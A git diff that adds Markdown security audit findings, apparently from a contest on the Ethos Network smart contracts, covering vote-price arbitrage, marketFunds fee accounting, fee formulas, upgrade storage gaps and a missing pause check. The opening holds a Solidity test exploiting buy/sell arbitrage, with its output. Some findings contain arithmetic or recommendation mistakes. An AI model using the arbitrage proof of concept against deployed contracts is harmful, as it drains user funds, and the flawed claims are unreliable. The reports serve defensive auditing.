fundsReceived) + { + uint256 votePrice = _calcVotePrice(market, isPositive); + + + for (uint256 i = 0; i < amount; i++) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert("Underflow in votes"); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + } + + return fundsReceived; + } + + function testEthosSellGtBuy() public { + // buy 100 votes sum going stepwise ie. 1 buy trust, 1 buy distrust + Market memory market = Market({votes: [uint256(1), 1], basePrice: 0.05 ether}); + uint256 buySum; + for (uint256 i = 0; i < 100; i++) { + buySum += _calculateBuy(market, i % 2 == 0, 1); + } + + uint256 sellSum; + // sell one side continously ie. sell 50 trust, sell 50 distrust + sellSum += _calculateSell(market, true, 50); + sellSum += _calculateSell(market, false, 50); + + assert(market.votes[TRUST] == 1 && market.votes[DISTRUST] == 1); + // sell 100 votes sum + console.log("sellSum", sellSum); + console.log("buySum", buySum); + assert(sellSum > buySum); + } +} +``` + +```Solidity + sellSum 3093972758933192945 + buySum 2451308104035652034 +``` + +### Mitigation + +Use a more secure formula to calculate votePrices that cant be exploited by instant buy/sell arbitrage \ No newline at end of file diff --git a/584.md b/584.md new file mode 100644 index 0000000..b158aae --- /dev/null +++ b/584.md @@ -0,0 +1,41 @@ +Spare Seafoam Manatee + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The EthosContracts (EthosVouch, ReputationMarket) are UUPSUpgradeable. However, the current implementation has multiple issues regarding upgradability. + +### Root Cause + +The Ethos contracts are meant to be upgradeable. However, it inherits contracts that are not upgrade-safe. + +The `AccessControl` and `SignatureControl` are both contracts written by Ethos team, both contain storage slots but there are no gaps implemented. + + +### Internal pre-conditions + +If admin performs an upgrade and wants to add another storage slot in AccessControl or SignatureControl contract, the storage slot would mess up. + +### External pre-conditions + +N/A + +### Attack Path + +N/A + +### Impact + +Storage of vault contracts might be corrupted during upgrading. + +### PoC + +N/A + +### Mitigation + +Add gaps in AccessControl, SignatureControl + diff --git a/585.md b/585.md new file mode 100644 index 0000000..6d26906 --- /dev/null +++ b/585.md @@ -0,0 +1,32 @@ +Petite Chili Goose + +High + +# Constant Variables Could Cause Users to Overpay or Face Transaction Reverts in the Future + +## Summary +As stated in the Ethos documentation: https://whitepaper.ethos.network/ethos-mechanisms/vouch#financial-stakes:~:text=Vouching%2C%20unlike%20Review%2C%20requires%20a%20backing%20asset%3A%20staked%20Ethereum%20(and%20in%20the%20future%2C%20other%20assets)\ +The protocol plans to accept USDC and other assets, but constant values in EthosVouch and ReputationMarket are hardcoded for ETH, potentially causing issues. +## Vulnerability Detail +EthosVouch: +In https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L380 +and https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L428 +ABSOLUTE_MINIMUM_VOUCH_AMOUNT is fixed at 0.0001 ETH (10^14 wei). +Functions like vouchByProfileId and increaseVouch will require disproportionately high amounts when using assets like USDC. + + + +ReputationMarket: +In https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L370 +DEFAULT_PRICE and MINIMUM_BASE_PRICE are 0.01 ETH (10^16 wei) and 0.0001 ETH (10^14 wei), respectively. +Functions like addMarketConfig demand excessively large asset amounts when configured for assets other than ETH. + +## Impact +When a user deposits assets like USDC (10^6 decimals), they may be required to deposit amounts significantly higher than expected or face transaction reverts. Fees for such deposits are also disproportionate compared to ETH. + +## Tool used +Manual Review + +## Recommendation +Replace constant values with dynamic multipliers that account for asset decimals, similar to Ethereum Credit Guild's approach. +This ensures future compatibility with various assets while maintaining fair deposit requirements. \ No newline at end of file diff --git a/586.md b/586.md new file mode 100644 index 0000000..b9a9503 --- /dev/null +++ b/586.md @@ -0,0 +1,104 @@ +Tall Cream Finch + +High + +# The protocol fee should be deducted from `marketFunds` in the `sellVotes` function. + +### Summary + +In `ReputationMarket.sol:522`, the protocol fee is not deducted from `marketFunds` in the `sellVotes` function, causing the `marketFunds` to be greater than it should be. This may cause the transaction to revert or loss of funds when withdrawing funds from the graduated market. + +In `ReputationMarket.sol:1041`, the `protocolFee` is calculated based on `fundsReceived`, which is the total price of selling votes and is a part of marketFunds. Notice that the returned `fundsReceived` does not include the `protocolFee`. +```solidity +// function: ReputationMarket.sol:_calculateSell() + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +1041: (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1044 + +Then, the `protocolFee` is transferred to the protocol fee address (in `ReputationMarket.sol:517`), and the `fundsReceived` is transferred to the seller (in `ReputationMarket.sol:520`). Both the `protocolFee` and `fundsReceived` come from the `marketFunds` balance obtained during the buying of votes. However, in `ReputationMarket.sol:522`, only `fundsReceived` is deducted from `marketFunds`, while the `protocolFee` is not deducted. This results in the new `marketFunds` balance being greater than it should be. +```solidity +// function: ReputationMarket.sol:sellVotes() + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice +510: ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees +517: applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller +520: _sendEth(fundsReceived); + // tally market funds +522: marketFunds[profileId] -= fundsReceived; +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L502-L522 + +When the market graduates and funds are withdrawn, since the balance of `marketFunds` is greater than it should be, more funds than actual will be transferred to the `GraduateContract`. The `_sendEth` operation in `ReputationMarket.sol:675` may be reverted due to insufficient balance, or if the balance is sufficient, the protocol will lose funds. +```solidity +// function: ReputationMarket.sol:withdrawGraduatedMarketFunds() + +675: _sendEth(marketFunds[profileId]); +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +### Root Cause + +In [`ReputationMarket.sol:522`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522), the protocol fee is not deducted from `marketFunds` in the `sellVotes` function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A market is created. +2. Alice buys votes for the market. +3. Alice sell her votes for the market. +4. GraduateContract graduates the market. +5. GraduateContract withdraws funds from the market, and the withdrawal reverts. + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + +```solidity +// function: ReputationMarket.sol:sellVotes() + + marketFunds[profileId] -= fundsReceived; + marketFunds[profileId] -= fundsReceived + protocolFee; +``` \ No newline at end of file diff --git a/587.md b/587.md new file mode 100644 index 0000000..01e6cda --- /dev/null +++ b/587.md @@ -0,0 +1,59 @@ +Witty Burlap Corgi + +High + +# `marketFunds` accounting is not correct in `ReputationMarket.buyVotes()` + +### Summary + +In the implementation of `ReputationMarket.buyVotes()`, `marketFunds` accounting is not correct and this will cause lack of funds in `ReputationMarket` contract. + +### Root Cause + +`marketFunds` is wrongly increased by `protocolFee + donation`, and `protocolFee` is applied before it. So `protocolFee` will be sent twice from `ReputationMarket` contract. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +`protocolFee` will be sent twice from `ReputationMarket`. So this will cause lack of funds in `ReputationMarket`. + +### PoC + +As we can see from [L481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) of `ReputationMarket.buyVotes()`, `marketFunds` is increased by `fundsPaid`. + +```solidity + marketFunds[profileId] += fundsPaid; +``` + +`fundsPaid` is calculated from the internal method `_calculateBuy()` as follows: + +```solidity + fundsPaid += protocolFee + donation; +``` + +`protocolFee` is already sent to the fee receiver in L464. + +```solidity + applyFees(protocolFee, donation, profileId); +``` + +In `ReputationMarket.withdrawGraduatedMarketFunds()`, this `marketFunds` amount should be sent from `ReputationMarket` contract, so `protocolFee` will be sent twice. And this will cause lack of funds in `ReputationMarket`. + +### Mitigation + +`protocolFee` should not be increased in `fundsPaid`(`marketFunds`) +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += donation; +``` \ No newline at end of file diff --git a/588.md b/588.md new file mode 100644 index 0000000..030f699 --- /dev/null +++ b/588.md @@ -0,0 +1,53 @@ +Witty Burlap Corgi + +High + +# `marketFunds` accounting is not correct in `ReputationMarket.sellVotes()` + +### Summary + +In the implementation of `ReputationMarket.sellVotes()`, `marketFunds` accounting is not correct and this will cause lack of funds in `ReputationMarket` contract. + +### Root Cause + +`marketFunds` is wrongly decreased by `fundsReceived`, and `protocolFee` is applied before it. So `protocolFee` will be sent twice from `ReputationMarket` contract. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +`protocolFee` will be sent twice from `ReputationMarket`. So this will cause lack of funds in `ReputationMarket`. + +### PoC + +As we can see from [L522](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) of `ReputationMarket.sellVotes()`, `marketFunds` is decreased by `fundsReceived`. + +```solidity + marketFunds[profileId] -= fundsReceived; +``` + +`protocolFee` is already sent to the fee receiver in L517. + +```solidity + applyFees(protocolFee, 0, profileId); +``` + +In `ReputationMarket.withdrawGraduatedMarketFunds()`, this `marketFunds` amount should be sent from `ReputationMarket` contract, so `protocolFee` will be sent twice. And this will cause lack of funds in `ReputationMarket`. + +### Mitigation + +`protocolFee` should also be decreased in `marketFunds`. +```diff +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= fundsReceived + protocolFee; +``` \ No newline at end of file diff --git a/589.md b/589.md new file mode 100644 index 0000000..558735d --- /dev/null +++ b/589.md @@ -0,0 +1,54 @@ +Ambitious Azure Giraffe + +Medium + +# Upgrades are unsafe + +### Summary + +Upgrades are not safe + +### Root Cause + +The inheritance structure of the Ethos contracts presents storage layout challenges. Specifically: + +1. Custom contracts `AccessControl` and `SignatureControl` contain unprotected storage variables +2. Missing storage gap implementations in inherited contracts +3. Direct storage variable declarations without upgrade-safe patterns + +### Internal pre-conditions + +Storage slot collisions become possible during contract upgrades when: + +- New storage variables are introduced in `AccessControl` +- Additional state variables are added to `SignatureControl` +- Storage layout modifications occur in inherited contracts + +### External pre-conditions + +No external conditions required. + +### Attack Path + +While no direct exploit exists, the storage layout vulnerability creates upgrade risks. + +### Impact + +Potential outcomes include: + +- Storage slot corruption during upgrades +- Data integrity issues in vault contracts +- Unexpected state variable behaviors + +### PoC + +Storage layout analysis demonstrates the vulnerability. + +### Mitigation + +Recommended improvements: + +1. Implement storage gaps in `AccessControl` +2. Add storage gaps in `SignatureControl` +3. Follow OpenZeppelin's upgradeable contract patterns +4. Consider using `__gap` variables in all inherited contracts \ No newline at end of file diff --git a/590.md b/590.md new file mode 100644 index 0000000..defc61b --- /dev/null +++ b/590.md @@ -0,0 +1,59 @@ +Acidic Lemonade Vulture + +High + +# Critical restriction in `increaseVouch` risks locking user funds permanently + +### Summary + +The `increaseVouch` functionality has a critical limitation: only the original author address can withdraw or unvouch funds. This creates a situation where users who increase an existing vouch lose access to the funds they contribute. If the original author address becomes inaccessible or the user is otherwise unable to use it, all funds associated with the vouch, including the contributions from other users, are locked. + +### Root Cause + +The design enforces that only the original address that created the vouch (`vouches[vouchId].authorAddress`) can unvouch or withdraw funds. This is acceptable by design, but the limitation extends to users who increase the vouch, preventing them from withdrawing their contributions. + +Additionally, the inability to create a new vouch until an unvouch is performed by the original author compounds the issue. + +### Internal pre-conditions + +1. A profile has an associated address (`msg.sender`) that created the original vouch. +2. Another user contributes to the same vouch using the `increaseVouch` function. + +### External pre-conditions + +1. The original author address becomes inaccessible to the user (e.g., compromised, lost access, or other reasons). +2. The user who increased the vouch attempts to withdraw their contribution but cannot, as only the original author can perform unvouch operations. + +### Attack Path + +1. A profile creates a vouch using an address (`vouches[vouchId].authorAddress`), as intended. +2. The system enforces that only the address that created the vouch can withdraw funds—this behavior is **by design**. +3. A new address associated with the same profile contributes additional funds to the vouch by calling `increaseVouch`. +4. The original author’s address becomes inaccessible to the user (e.g., due to compromise, account loss, or something). +5. Since only the original author address can unvouch, the user who increased the vouch via the new address loses access to their contribution. + +[EthosVouch.unvouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L452) +[EthosVouch.increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L426) + +### Impact + +- Contributors who use `increaseVouch` lose access to their contributions if the original author address becomes inaccessible. +- Profiles cannot create new vouches for the same profile until the original vouch is unvouched, leading to operational constraints. + +### Mitigation + +**Resolution Depends on Project Business Assumptions** +Below is a potential solution: + +1. **Track Contributions Per Address:** + Modify the `Vouch` structure to track each address's contributions separately. This ensures contributors retain access to their funds. + + ```solidity + struct Vouch { + // Existing fields + mapping(address => uint256) contributions; + } + ``` + +2. **Enable Per-Address Withdrawals:** + Update the `unvouch` logic to allow individual contributors to withdraw their own contributions without requiring the original author to act. diff --git a/591.md b/591.md new file mode 100644 index 0000000..3b6c18f --- /dev/null +++ b/591.md @@ -0,0 +1,43 @@ +Silly Porcelain Lion + +High + +# Market funds accounting error in buyVotes + +### Summary + +ReputationMarket's buyVotes function includes fees when tallying market funds, this can lead to a multitude of issues. + +### Root Cause + +In ReputationMarket.sol's buyVotes function `marketFunds[profileId]` is increased by `fundsPaid`, problem with that is `fundsPaid` also includes protocol and donation fees. Donation fees are stored in DonationEscrow storage variable and protocol fees are sent to the corresponding address. Donation fees can be withdrawn by the market owner any time. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493 + +Later when a market graduates, `marketFunds[profileId]` amount is going to be sent to "GRADUATION_WITHDRAWAL" contract. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +We can observe that this can lead to multiple issues: On market graduation, funds more than necessary will be sent to "GRADUATION_WITHDRAWAL" contract which means there might not be enough eth left in the contract for market owner to get earned donations or if donations are withdrawn before graduation("withdrawDonations do not decrease `marketFunds[profileId]`) there might not be enough eth left to graduate market. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Broken internal accounting can lead to DoS or loss of funds. + +### PoC + +_No response_ + +### Mitigation + +Fees should not be included in marketFunds when buying votes. \ No newline at end of file diff --git a/592.md b/592.md new file mode 100644 index 0000000..ff2e124 --- /dev/null +++ b/592.md @@ -0,0 +1,29 @@ +Petite Chili Goose + +High + +# Missing Utility to Withdraw Stuck Assets + +## Summary +mart contracts interacting with EthosVouch or ReputationMarket may lack fallback or receive functions. When these contracts attempt to send ETH back, the transfer could fail, leading to assets being stuck. +## Vulnerability Detail +EthousVouch : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L475 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L681 +ReputationMarket : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L580 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L892 +## Impact +Assets could become permanently stuck, leading to financial losses. +## Code Snippet +```solidity + function _sendEth(uint256 amount) private { + (bool success, ) = payable(msg.sender).call{ value: amount }(""); + require(success, "ETH transfer failed"); + } +``` +## Tool used +Manual Review + +## Recommendation +Implement a withdrawal function with access control (onlyOwner or onlyAdmin) to recover arbitrary asset amounts when stuck. \ No newline at end of file diff --git a/593.md b/593.md new file mode 100644 index 0000000..095779a --- /dev/null +++ b/593.md @@ -0,0 +1,53 @@ +Atomic Turquoise Gerbil + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The diagram below shows the inheritance of `EthosVouch.sol` and `ReputationMarket.sol`. +The main problem here is that both contracts inherit non-upgrade-safe contracts: + +1. lack of storage gap +2. non upgradeable version, which lacks the initializer and upgradeable-compatible storage layout necessary for UUPS proxy systems + +The contracts in blue are the non upgradeable versions. +The contracts in orange are missing gap. + +`EthosVouch.sol` +![EthosVouch](https://github.com/user-attachments/assets/7c389123-868e-40ae-a941-8273ab50b906) + +`ReputationMarket.sol` +![ReputationMarket](https://github.com/user-attachments/assets/34c1fbe9-3629-4ad0-88ee-fddae84031ec) + +Thus, adding new storage variables to any of these inherited contracts can potentially overwrite the beginning of the storage layout of the child contract. causing critical misbehaviors in the system. + + +### Root Cause + +[EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [ReputationMarket.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) inherit non-upgrade-safe contracts + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol may suffer from uninitialized states and misaligned storage when upgrade occur + +### PoC + +_No response_ + +### Mitigation + +add gaps on those contracts and use upgradeable library \ No newline at end of file diff --git a/594.md b/594.md new file mode 100644 index 0000000..424acdb --- /dev/null +++ b/594.md @@ -0,0 +1,68 @@ +Gentle Plum Wallaby + +Medium + +# Protocol gets less fees than expected due to wrong fee formula calculation + +### Summary + +The incorrect fee calculation in the code will cause a loss of revenue for the protocol, and the other recipients of fees, as the function `calcFee()` will miscalculate the fees deducted from transactions. + +### Root Cause + +In `packages/contracts/contracts/EthosVouch.sol`, the fee calculation formula is flawed. Specifically, at the following line: + +[Github Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L986-L988) + +current fee formula: + +```solidity +return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); // @audit wrong formula calculation +``` + + + +The issue arises because the formula does not correctly account for the fee basis points, leading to an inaccurate deduction of fees. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Imagine the following scenario: + +We have total amount 1 ether, feeBasisPoints 500, BASIS_POINT_SCALE is 10000, the fee would be: + +1 ether - 1 ether * 10_000 / 10_500 = 0,04761905 ether instead of 0,005 ether + +The fee is 4,761905 % instead of 5 %, and the difference is around 0.24 %. + + + +### Impact + +The protocol gets a reduced revenue due to the miscalculation of fees. This error means that the fees deducted from transactions are lower than intended, leading to a loss of funds that should have been collected. + +Also, the `donationFee`, `vouchersPoolFee` and the `exitFee` are calculated with the function wrong formula in `calcFee()`, so these fees would also be decreased. + +### PoC + +_No response_ + +### Mitigation + +To fix the issue, the fee calculation should be revised to use the following formula instead: + +```solidity +return total.mulDiv(feeBasisPoints, BASIS_POINT_SCALE, Math.Rounding.Floor) +``` + + +This adjustment ensures that the fees are calculated correctly. \ No newline at end of file diff --git a/595.md b/595.md new file mode 100644 index 0000000..2d795cc --- /dev/null +++ b/595.md @@ -0,0 +1,43 @@ +Witty Burlap Corgi + +Medium + +# `whenNotPaused` modifier is missing in `EthosVouch.increaseVouch()`. + +### Summary + +`whenNotPaused` modifier is missing in `EthosVouch.increaseVouch()`, so the function will work when the contract is paused. + +### Root Cause + +In [`EthosVouch.sol:L426`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426), `whenNotPaused` modifier is missing. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +`EthosVouch.increaseVouch()` will work when `EthosVouch` contract is paused. + +### PoC + +`whenNotPaused` modifier is missing in `EthosVouch.increaseVouch()`. +All other functions such as `vouch`, `unvouch`, `mark unhealthy` and `slash` have the `whenNotPaused` modifier. So when paused the above functions will not work, but `increase vouch` will work although `EthosVouch` contract is paused. This is not correct behavior and `increase vouch` should not work when the contract is paused. + +### Mitigation + +It is recommended to add `whenNotPaused` modifier to `EthosVouch.increaseVouch()`. + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +``` \ No newline at end of file diff --git a/596.md b/596.md new file mode 100644 index 0000000..ca00320 --- /dev/null +++ b/596.md @@ -0,0 +1,41 @@ +Damp Shamrock Viper + +Medium + +# Maximum total fees can exceed 10% + +### Summary + +The fees calculated is in form of percentage in basis points. in this percentage, the max value is 10,000 which stands for 100%. +The expected total value for the `MAX_TOTAL_FEES` should be 1,000 however its hardcoded to 10,000 which means the 10% check will not be done for setting the fee values. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120C5-L120C50 + +The root cause is the mistake of setting max value to 10,000 instead of 1000. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. admin sets values for fee percentages +2. Fee percentages surpass the 10% threshold and instead reach till 100% of the value + +### Impact + +The user loses way more fees than intended and promised by the protocol as the admin can hike the fees to very high amounts. + +### PoC + +_No response_ + +### Mitigation + +set the value of `MAX_TOTAL_FEES` to 10000 \ No newline at end of file diff --git a/597.md b/597.md new file mode 100644 index 0000000..1dbf48c --- /dev/null +++ b/597.md @@ -0,0 +1,32 @@ +Petite Chili Goose + +Medium + +# Missing Slippage Protection When Selling Votes + +## Summary +In ReputationMarket, users are protected against slippage when buying votes by specifying a minimum amount of votes to receive. However, no such slippage check exists when selling votes, which could lead to users receiving less than expected due to market manipulation. +## Vulnerability Detail +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1007 +Lacks a parameter to enforce the minimum refund amount when selling votes. +Attackers can front-run the transaction by manipulating market prices, reducing the refund amount. + +## Impact +Without slippage protection, users may receive significantly less value when selling votes. This could discourage participation and result in financial losses. + +## Code Snippet +```solidity + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) +... +} +``` +## Tool used +Manual Review + +## Recommendation +Add a parameter in the selling function to enforce a minimum refund amount. Revert the transaction if the refund falls below this value to safeguard users from slippage. \ No newline at end of file diff --git a/598.md b/598.md new file mode 100644 index 0000000..e0b83db --- /dev/null +++ b/598.md @@ -0,0 +1,56 @@ +Recumbent Cerulean Fish + +Medium + +# User is able to took funds from previous vouchers pool even if he the only, who vouched + +### Summary + +The idea behind this vulnerability is that protocol is willing to reward guys, who early than everyone else vouch for profile of certain guys, so it is intended to be reward the old voucher from some small amount (voucherPoolFee) being charged from each new subsequent people who vouched for same profileId after the guy. This feature suppose to incentives people vouch for someone in case they think will act trustfully and a the future and will accumulate more vouches on them. + +By design it is not intended to reward you, if you are the ONLY one who vouch for specific profileID. But lets consider the case, where we vouch for a guy with 10eth amount and then decided to increase the vouch with minimum required amount. +Once we vouched _rewardPreviousVouchers() won't let us grab a piece of voucher's pool fee bcs mapping vouchIdsForSubjectProfileId[subjectProfileId] being updated right after applyFess() -> _rewardPreviousVouchers() calls, but when we calling increaseVouch() function this mapping already holds the value. + +Because this check in _rewardPreviousVouchers() completely wrong and it is just checks if there are any balance in a vouch, but not checking is this an only vouch => we receiving our "refund" even we the ONLY voucher for specific subjectId + + +### Root Cause + +EthosVouch.sol: _rewardPreviousVouch() + +```solidity + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; //Me 05 looks huge mistake + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Vouch for the guy +Increase your vouch +it will refund more if initial amount is big, and amount of increasing don't really mater here + +### Impact + +User getting refund from his initial vouch from reward previous vouchers pool, which was intended to distribute reward to another users + +### PoC + +_No response_ + +### Mitigation + +consider to end the function execution and return 0 if uint256 totalVouches = vouchIds.length array length is equal to 1 \ No newline at end of file diff --git a/599.md b/599.md new file mode 100644 index 0000000..ca5cf28 --- /dev/null +++ b/599.md @@ -0,0 +1,56 @@ +Colossal Felt Dove + +High + +# OverCalculation of marketFunds in buyVotes + +### Summary + +The `marketFunds` variable in the `buyVotes` function is incorrectly updated with the value of `fundsPaid`. In the `_calculateBuy` function, `fundsPaid` includes both the `protocolFee` and `donation`. These amounts are later distributed to other parties through `applyFees`, meaning they are not retained by the market. As a result, `marketFunds` is overestimated, which could lead to excessive withdrawals through `withdrawGraduatedMarketFunds` after the market graduates. + +### Root Cause + +In [ReputationMarket.sol:481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) the fundsPaid value is added to marketFunds. However, fundsPaid includes both protocolFee and donation, which are not part of marketFunds as they are transferred to the protocol and the subject's profile ID. This leads to an over-calculation of marketFunds. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +#### **Initial Setup** +1. A market is created with a specific `profileId`, and voting begins. +2. Multiple users participate in the market by calling the `buyVotes` function, providing funds to purchase votes. + +--- + +#### **Execution** +1. **User A** buys votes by calling `buyVotes` with 100 Ether. The `_calculateBuy` function computes: + - `votesBought`: The number of votes purchased. + - `fundsPaid`: The total Ether used for the purchase, including `protocolFee` and `donation`. + - `protocolFee` and `donation` are then distributed to their respective destinations via `applyFees`. + - for example in this case 80 ether used for vote purchase and 20 ether used for fee and donation, it means balance of contract is added 80 ETH +2. The `buyVotes` function incorrectly adds the entire `fundsPaid` (including `protocolFee` and `donation` 100 ETH in this case ) to `marketFunds`, overestimating the actual funds retained by the market ( actually there are 80 ETH in the market in this case ). +--- + +#### **Graduation and Withdrawal** +1. After the market ends, the market graduates, making `marketFunds` available for withdrawal via `withdrawGraduatedMarketFunds`. +2. Authorized address calls `withdrawGraduatedMarketFunds`, it withdraws amounts based on the inflated `marketFunds` value. +3. However, the underlying market does not have sufficient funds to match the marketFunds value (e.g., the market holds 80 ETH but attempts to transfer 100 ETH). As a result, the protocol is forced to cover the shortfall using funds from other markets. +4. The contract does not have sufficient funds to cover all markets. Eventually, it runs out of funds at some point. + +### Impact + +Excessive withdrawals through `withdrawGraduatedMarketFunds` can lead to protocol insolvency, leaving the protocol without sufficient funds to cover all markets. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/600.md b/600.md new file mode 100644 index 0000000..895f0c3 --- /dev/null +++ b/600.md @@ -0,0 +1,46 @@ +Bald Lace Cyborg + +Medium + +# different fees has been taken from different users for same amount of vote bought! + +### Summary + +In ReputationMarket.sol , _calculateBuy() is being called and in which , fees is being calculated in previewFees(). +Problem here occurs is , fees is being calculated on amount which is being passed as funds in previewFees. Now the concern is +fees values is not being calculated , on the basis amount of votes being bought at particular scenario, but it is being taken on the hardcoded amount , even though number of votes will be same but different value is being passed + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141 + + here fees which is taken by user in applyfees function, is being calculated in previewFees fucntions , and it is based on amount which is passed. so it is possible that amount could be more than which is need to buy the tokens which is given in expected parameter. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +lets consider a scenario, where x eth is needed for to buy y amount of tokens. + +now when userA has passed value, which is exact as all fees has being paid and also amount of votes is properly bought. +Elsewhere userB has passed some what more value, no of votes bought is same. and protocol will refund too. but here the amount which is being return is not as intended amount, but from this refunded values to. fees has been taken. but fees should be taken from funds used in buying votes and not extra funds + +### Impact + +more fees will be taken from user, by taking fees from refunded amount too + +### PoC + +_No response_ + +### Mitigation + +fees should not be taken from amount which is being refunded. \ No newline at end of file diff --git a/601.md b/601.md new file mode 100644 index 0000000..2bc743e --- /dev/null +++ b/601.md @@ -0,0 +1,51 @@ +Immense Aegean Orca + +Medium + +# Corruptible Upgradability Pattern + +### Summary + +The EthosContracts (EthosVouch, ReputationMarket) are UUPSUpgradeable. However, the current implementation has multiple issues regarding upgradability. + +### Root Cause + +Following is the inheritance chain of the EthosContracts. + +```mermaid +graph BT; + classDef nogap fill:#f76; + AccessControl:::nogap-->PausableUpgradeable:::nogap + AccessControl:::nogap-->AccessControlEnumerableUpgradeable:::nogap + AccessControl:::nogap-->SignatureControl:::nogap + EthosVouch:::nogap-->AccessControl:::nogap + ReputationMarket:::nogap-->AccessControl:::nogap +``` + +The Ethos 